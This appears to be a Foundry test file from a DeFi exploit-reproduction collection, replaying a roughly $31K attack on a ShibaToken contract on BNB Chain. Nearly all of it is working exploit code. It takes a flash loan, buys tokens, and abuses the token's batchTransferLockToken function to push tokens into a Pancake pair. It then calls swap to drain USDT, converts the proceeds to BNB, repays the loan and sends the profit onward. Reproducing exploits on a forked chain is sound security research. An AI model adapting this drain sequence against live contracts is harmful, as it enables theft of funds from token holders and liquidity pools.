src/test/2023-11/ShibaToken_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.13;
3 
4import "forge-std/Test.sol";
5 
6// @KeyInfo - Total Lost : ~$31K
7// Attacker : https://bscscan.com/address/0xb9bdc2537c6f4b587a5c81a67e7e3a4e6ddda189
8// Attack Contract : https://bscscan.com/address/0xda148143379ae54e06d2429a5c80b19d4a9d6734
9// Vulnerable Contract : https://bscscan.com/address/0x13b1f2e227ca6f8e08ac80368fd637f5084f10a5
10// Attack Tx : https://explorer.phalcon.xyz/tx/bsc/0x75a26224da9faf37c2b3a4a634a096af7fec561f631a02c93e11e4a19d159477
11 
12interface IDPPOracle {
13    function flashLoan(uint256 baseAmount, uint256 quoteAmount, address _assetTo, bytes calldata data) external;
14}
15 
16interface IERC20 {
17    function approve(address spender, uint256 amount) external returns (bool);
18    function transfer(address to, uint256 value) external returns (bool);
19    function balanceOf(
20        address
21    ) external view returns (uint256);
22}
23 
24interface IWBNB is IERC20 {
25    function deposit() external payable;
26    function withdraw(
27        uint256
28    ) external;
29}
30 
31interface ICO {
32    function buyByBnb(
33        address token
34    ) external payable;
35}
36 
37interface ISHIBA is IERC20 {
38    struct Airdrop {
39        address wallet;
40        uint256 amount;
41    }
42 
43    function batchTransferLockToken(
44        Airdrop[] memory _airdrops
45    ) external;
46}
47 
48interface IPancakePair {
49    event Approval(address indexed owner, address indexed spender, uint256 value);
50    event Transfer(address indexed from, address indexed to, uint256 value);
51 
52    function name() external pure returns (string memory);
53    function symbol() external pure returns (string memory);
54    function decimals() external pure returns (uint8);
55    function totalSupply() external view returns (uint256);
56    function balanceOf(
57        address owner
58    ) external view returns (uint256);
59    function allowance(address owner, address spender) external view returns (uint256);
60 
61    function approve(address spender, uint256 value) external returns (bool);
62    function transfer(address to, uint256 value) external returns (bool);
63    function transferFrom(address from, address to, uint256 value) external returns (bool);
64 
65    function DOMAIN_SEPARATOR() external view returns (bytes32);
66    function PERMIT_TYPEHASH() external pure returns (bytes32);
67    function nonces(
68        address owner
69    ) external view returns (uint256);
70 
71    function permit(
72        address owner,
73        address spender,
74        uint256 value,
75        uint256 deadline,
76        uint8 v,
77        bytes32 r,
78        bytes32 s
79    ) external;
80 
81    event Mint(address indexed sender, uint256 amount0, uint256 amount1);
82    event Burn(address indexed sender, uint256 amount0, uint256 amount1, address indexed to);
83    event Swap(
84        address indexed sender,
85        uint256 amount0In,
86        uint256 amount1In,
87        uint256 amount0Out,
88        uint256 amount1Out,
89        address indexed to
90    );
91    event Sync(uint112 reserve0, uint112 reserve1);
92 
93    function MINIMUM_LIQUIDITY() external pure returns (uint256);
94    function factory() external view returns (address);
95    function token0() external view returns (address);
96    function token1() external view returns (address);
97    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
98    function price0CumulativeLast() external view returns (uint256);
99    function price1CumulativeLast() external view returns (uint256);
100    function kLast() external view returns (uint256);
101 
102    function mint(
103        address to
104    ) external returns (uint256 liquidity);
105    function burn(
106        address to
107    ) external returns (uint256 amount0, uint256 amount1);
108    function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
109    function skim(
110        address to
111    ) external;
112    function sync() external;
113 
114    function initialize(address, address) external;
115}
116 
117interface IPancakeRouter {
118    function getAmountsOut(uint256 amountIn, address[] memory path) external view returns (uint256[] memory amounts);
119    function swapExactTokensForETHSupportingFeeOnTransferTokens(
120        uint256 amountIn,
121        uint256 amountOutMin,
122        address[] memory path,
123        address to,
124        uint256 deadline
125    ) external;
126}
127 
128contract ShibaToken_exp is Test {
129    address immutable r = address(this);
130 
131    receive() external payable {}
132 
133    function setUp() public {
134        vm.createSelectFork("bsc", 33_528_882);
135        // vm.createSelectFork("https://rpc.ankr.com/bsc", bytes32(0x75a26224da9faf37c2b3a4a634a096af7fec561f631a02c93e11e4a19d159477));
136    }
137 
138    IPancakeRouter constant x10ed = IPancakeRouter(0x10ED43C718714eb63d5aA57B78B54704E256024E);
139    IPancakePair constant x55d3 = IPancakePair(0x55d398326f99059fF775485246999027B3197955);
140    IPancakePair constant xa19d = IPancakePair(0xa19D2674A8E2709a92e04403F721d8448f802e1f);
141    ISHIBA constant x13b1 = ISHIBA(0x13B1F2E227cA6f8e08aC80368fd637f5084F10a5);
142    IWBNB constant xbb4c = IWBNB(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
143    ICO constant xa422 = ICO(0xA4227de36398851aEBf4A2506008D0Aab2dd0E71);
144    IDPPOracle constant xfeaf = IDPPOracle(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681);
145    address constant x0000 = 0x0000000000000000000000000000000000000000;
146    address constant x1874 = 0x1874726c8c9a501836929F495A8b44968FBfdad8;
147    address constant xb9bd = 0xb9bdc2537C6F4B587A5C81A67e7e3a4e6dDDa189;
148 
149    function test() public {
150        // vm.prank(0xb9bdc2537C6F4B587A5C81A67e7e3a4e6dDDa189, 0xb9bdc2537C6F4B587A5C81A67e7e3a4e6dDDa189);
151        claim(20);
152    }
153 
154    function claim(
155        uint256
156    ) public {
157        xfeaf.flashLoan(20_000_000_000_000_000_000, 0, r, hex"00");
158        x55d3.balanceOf(r);
159    }
160 
161    function DPPFlashLoanCall(address, uint256, uint256, bytes memory) public {
162        xbb4c.balanceOf(r);
163        xbb4c.withdraw(20_000_000_000_000_000_000);
164        x55d3.approve(
165            address(xa422),
166            115_792_089_237_316_195_423_570_985_008_687_907_853_269_984_665_640_564_039_457_584_007_913_129_639_935
167        );
168        x55d3.transfer(xb9bd, 0);
169        xa422.buyByBnb{value: 20_000_000_000_000_000_000}(x0000);
170        x13b1.balanceOf(r);
171        address[] memory path = new address[](2);
172        path[0] = address(x13b1);
173        path[1] = address(x55d3);
174        x10ed.getAmountsOut(507_677_278_570_125_202_361_500_000, path);
175 
176        ISHIBA.Airdrop[] memory airdrops = new ISHIBA.Airdrop[](1);
177        airdrops[0] = ISHIBA.Airdrop(address(xa19d), 507_677_278_570_125_202_361_500_000);
178        x13b1.batchTransferLockToken(airdrops);
179        xa19d.swap(0, 30_948_073_916_467_640_719_090, r, "");
180        x55d3.balanceOf(r);
181        x55d3.approve(
182            address(x10ed),
183            115_792_089_237_316_195_423_570_985_008_687_907_853_269_984_665_640_564_039_457_584_007_913_129_639_935
184        );
185 
186        address[] memory path2 = new address[](2);
187        path2[0] = address(x55d3);
188        path2[1] = address(xbb4c);
189        x10ed.swapExactTokensForETHSupportingFeeOnTransferTokens(
190            30_948_073_916_467_640_719_090, 0, path2, r, 1_700_095_314
191        );
192        xbb4c.deposit{value: 121_697_224_718_492_366_219}();
193        xbb4c.transfer(address(xfeaf), 20_000_000_000_000_000_000);
194        xbb4c.balanceOf(r);
195        xbb4c.transfer(address(x1874), 101_697_224_718_492_366_219);
196    }
197 
198    fallback() external payable {
199        revert("no such function");
200    }
201}